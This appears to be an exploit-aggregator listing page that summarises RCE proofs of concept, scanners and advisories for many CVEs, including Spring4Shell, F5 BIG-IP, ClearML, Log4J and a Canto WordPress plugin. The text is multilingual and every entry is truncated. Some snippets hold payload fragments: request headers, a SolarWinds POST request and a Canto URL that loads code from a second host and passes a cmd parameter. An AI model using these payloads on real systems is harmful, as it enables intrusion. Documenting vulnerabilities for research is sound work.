Spring4Shell

Spring RCE CVE-2022-22965 취약점 환경 환경 정보 springboot jdk11 tomcat9.0.30 payload 요청 헤더 구성 root@kitploit: "suffix": "%//", "c1": "Runtime", "c2": "%", "DNT": "1", "Content-Type": "application/x-www-form-urlencoded", 요청 본문 데이터 root@kitploit:...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP 제품의 iControl REST API 기능에 원격 코드 실행 취약점이 존재합니다. 인증되지 않은 원격 공격자가 이를 악용하여 인증을 우회하고 루트 권한으로 임의의 명령을 실행할 수 있습니다. 사용법 python3 f5bigipscanner.py...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access 및 Identity Manager에서 SSTI를 통한 RCE. CVE-2022-22954 - PoC SSTI 사용법: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file |...

CVE-2021-29003

CVE-2021-29003 https://hackerworld.home.blog/2021/03/19/rce-in-genexis-router/ 익스플로잇 DB https://www.exploit-db.com/exploits/49764 Medium https://sharmajijvs.medium.com/how-i-got-my-first-cve-af2c3009e409 Unit 42 palo alto networks...

CVE-2024-24590-ClearML-RCE-CMD-POC

ClearML 익스플로잇 스크립트 이 저장소에는 CVE-2024-24590에 대한 Python 익스플로잇 스크립트가 포함되어 있습니다. 이 스크립트는 악성 pickle 파일을 ClearML에 업로드하여 대상 머신에서 리버스 셸 또는 사용자 지정 명령을 실행하도록 설계되었습니다. 기능 악성 pickle 아티팩트를 ClearML에 업로드합니다. 대상 머신에서 리버스 셸 또는 사용자 지정 명령을 실행합니다. 사용자 지정 프로젝트 및 작업 이름을 지원합니다. 작업에 태그를 설정할 수 있습니다. 사용법 사전 요구 사항 Python 3....

CVE-2024-21762-Checker

CVE-2024-21762-Checker 이 스크립트는 Fortinet SSL VPN 원격 코드 실행 취약점인 CVE-2024-21762에 대한 취약점 스캔을 수행합니다. 특정 요청을 보내고 응답을 분석하여 주어진 서버가 이 CVE에 취약한지 확인합니다. 자세한 내용은 Bishop Fox 블로그 게시물을 참조하세요 공개된 익스플로잇 날짜: 2024/02/28 취약한 버전: FortiOS 6.0 7.4.2 FortiOS 버전| 영향받는 버전| 권장 조치 ---|---|--- FortiOS 7.6| 영향 없음| 해당 없음...

CVE-2024-3121

CVE-2024-3121 - parisneo/lollms의 원격 코드 실행 RCE 발견자: Syed Jan Muhammad Zaidi GitHub: dark-ninja10 CVE ID: CVE-2024-3121 영향을 받는 저장소: parisneo/lollms 🧨 취약점 요약 원격 코드 실행 RCE 취약점이 lollms 프레임워크의 createcondaenv 함수에 존재합니다. 이 함수는 입력 값이 정제되지 않은 상태에서 시스템 명령어를 구성하여, 공격자가 임의의 명령어를 주입하고 호스트에서 코드를 실행할 수 있게 합니다. 🔥...

tplmap

Tplmap This project is no longer maintained. I'm happy to merge new PRs as long they don't break the test suite. Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operatin...

tplmap

Tplmap 이 프로젝트는 더 이상 유지 관리되지 않습니다. 테스트 스위트를 손상시키지 않는 한 새로운 PR은 병합할 의향이 있습니다. Tplmap은 샌드박스 탈출 기술을 활용하여 Code Injection 및 Server-Side Template Injection 취약점의 악용을 지원하며, 이를 통해 기본 운영 체제에 접근할 수 있습니다. 이 도구와 테스트 스위트는 SSTI 취약점 클래스를 연구하고 웹 애플리케이션 침투 테스트 중 공격 보안 도구로 사용하기 위해 개발되었습니다. 샌드박스 탈출 기술은 James Kett의...

CVE-2015-1578-PoC-Metasploit

CVE-2015-1578 Metasploit 模块 概述 这是针对 CVE-2015-1578 的一个 Metasploit 模块，该漏洞是 Windows 上 Achat 0.150 beta7 中的一个缓冲区溢出漏洞。利用该漏洞可通过特制的 UDP 数据包实现远程代码执行。 目的 本模块旨在作为 Metasploit 漏洞利用开发的一个简洁、最小且结构良好的示例。它演示了： 通过 msfvenom 动态生成 Unicode 编码的 shellcode 手动注入 payload（绕过 Metasploit 内部的 payload 编码器） 基于 UDP 的简单投递机制...

CVE-2023-32571-POC

Dynamic Linq インジェクションによる RCE - CVE-2023-32571 Dynamic Linq インジェクションによる RCE について（CVE-2023-32571） 最近、NCC Group のメンバーが Dynamic Linq の脆弱性を発見しました。この脆弱性により、攻撃者は Linq インジェクションを介して C 関数を呼び出し、RCE を達成できる可能性があります。 Dynamic Linq に関する RCE の報告があったにもかかわらず、NCC Group のメンバーはなぜかコマンド実行用の POC を公開しませんでした。 POC NCC Group...

EUVD-2026-62603

Orval: Import-time RCE via array-items default - zod module-level template literal...

Orval: Import-time RCE via array-items default -> zod module-level template literal

Summary Orval's zod schema generation emits the array-items default value as a module-level template literal export const …Default = ; without escaping $ or the backtick. A default of the form v$w injects a live JavaScript expression evaluated when the generated zod schema module is imported,...

Log4J-RCE-Proof-Of-Concept

Log4J-RCE-Proof-Of-Concept CVE-2021-44228 이것은 log4j rce의 개념 증명입니다. 다음은 CVE-2021-44228에 대한 몇 가지 링크입니다: https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608 https://www.youtube.com/watch?v=JPGola6BamU 이 버...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - 워드프레스 플러그인 Canto 을 작성하면 원격으로 코드를 실행할 수 있습니다. root@kitploit: http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wpabspath=http://192.168.1.33:8080&cmd=...

CVE-2022-22947

CVE-2022-22947 poc: pocsuite -r CVE-2022-22947POCEXP.py -u url --verify exp: pocsuite -r CVE-2022-22947POCEXP.py -u url --attack --command "command" 면책 조항 이 도구는 학습, 연구 및 자가 점검 용도로만 사용됩니다. 불법적인 목적으로 사용해서는 안 됩니다. 이 도구 사용으로 인해 발생하는 모든 위험은 저와 관련이 없습니다! Disclaimer This tool is for study, research, and...

CVE-2026-78593 Improper Control of Generation of Code in Kibana Leading to Privilege Escalation

An insufficiently validated configuration field in Kibana's Cribl integration allows an authenticated user holding Kibana Fleet management privileges to inject attacker-controlled expressions into a server-side script template, resulting in an Elasticsearch ingest pipeline being written beyond th...

CVE-2023-49314

CVE-2023-49314 macOS에서 실행되는 Asana Desktop 2.1.0은 특정 Electron Fuse로 인해 코드 삽입이 가능합니다. RunAsNode 및 enableNodeCliInspectArguments와 같은 설정을 통한 코드 삽입 방지가 불충분하므로 electroniz3r를 사용하여 공격을 수행할 수 있습니다. Electron 애플리케이션에서 취약점을 검색하는 프로세스를 자동화하도록 설계된 도구가 있습니다: https://github.com/r3ggi/electroniz3r 애플리케이션이 취약한지 확인...

CVE-2021-35215

CVE-2021-35215 SolarWinds Orion Platform ActionPluginBaseView 역직렬화 RCE, 로그인 필요. PoC root@kitploit: POST /Orion/RenderControl.aspx HTTP/1.1 Host: 192.168.137.130:8787 Content-Length: 3648 Cache-Control: max-age=0 Origin: http://192.168.137.130:8787 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type:...

quarkus-qute: io.quarkus.qute.ReflectionValueResolver: Quarkus:Server-Side Template Injection (SSTI) vulnerability in ReflectionValueResolver of the Quarkus Qute template engine

A flaw was found in the Qute template engine, which is used by Quarkus to generate dynamic content like HTML pages or emails. The issue exists in the component responsible for looking up data values ReflectionValueResolver, which fails to properly block access to sensitive Java internal functions...